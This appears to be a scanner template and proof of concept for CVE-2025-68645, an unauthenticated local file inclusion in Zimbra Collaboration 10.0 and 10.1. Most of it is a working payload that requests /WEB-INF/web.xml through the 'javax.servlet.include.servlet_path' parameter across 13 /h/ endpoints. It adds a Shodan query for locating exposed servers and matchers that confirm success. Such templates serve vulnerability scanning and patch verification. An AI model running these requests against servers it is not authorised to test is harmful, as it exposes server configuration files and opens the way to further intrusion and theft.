Zimbra Collaboration (ZCS) 10.0 and 10.1 contain a local file inclusion caused by improper handling of user-supplied parameters in the RestFilter servlet, letting unauthenticated remote attackers include arbitrary files from WebRoot, exploit requires crafted requests to /h/rest endpoint.
PoC
id: CVE-2025-68645
info:
name: Zimbra Collaboration - Local File Inclusion
author: DhiyaneshDk,sirifu4k1
severity: high
description: |
Zimbra Collaboration (ZCS) 10.0 and 10.1 contain a local file inclusion caused by improper handling of user-supplied parameters in the RestFilter servlet, letting unauthenticated remote attackers include arbitrary files from WebRoot, exploit requires crafted requests to /h/rest endpoint.
impact: |
Unauthenticated remote attackers can include arbitrary files from the WebRoot directory, potentially exposing sensitive information.
remediation: |
Update to the latest version of Zimbra Collaboration.
reference:
- https://x.com/sirifu4k1/status/2006031417088639064
- https://x.com/sirifu4k1/status/2007279822050078906?s=12&t=ovaWmJElNlGyzadE74ZOgQ
- https://nvd.nist.gov/vuln/detail/CVE-2025-68645
metadata:
max-request: 13
verified: true
shodan-query: http.title:"Zimbra Collaboration Suite"
tags: cve,cve2025,zimbra,zcs,lfi,vkev,kev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/{{path}}?javax.servlet.include.servlet_path=/WEB-INF/web.xml"
payloads:
path:
- "h/rest"
- "h/changepass"
- "h/imessage"
- "h/postLoginRedirect"
- "h/printcalls"
- "h/printcalendar"
- "h/printvoicemails"
- "h/printappointments"
- "h/printcontacts"
- "h/printconversations"
- "h/printmessage"
- "h/printtasks"
- "h/viewimages"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<?xml version"
- "web-app>"
- "Zimbra"
condition: and
- type: status
status:
- 200
# digest: 490a00463044022063c1d833497a5af4b51f6958424f6fa0560b92b57e814bbc5e1f9ae484f07ea60220792947c7235b30bc667bae2d497a656e5e081fee626f1d672b9473bba2d73565:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.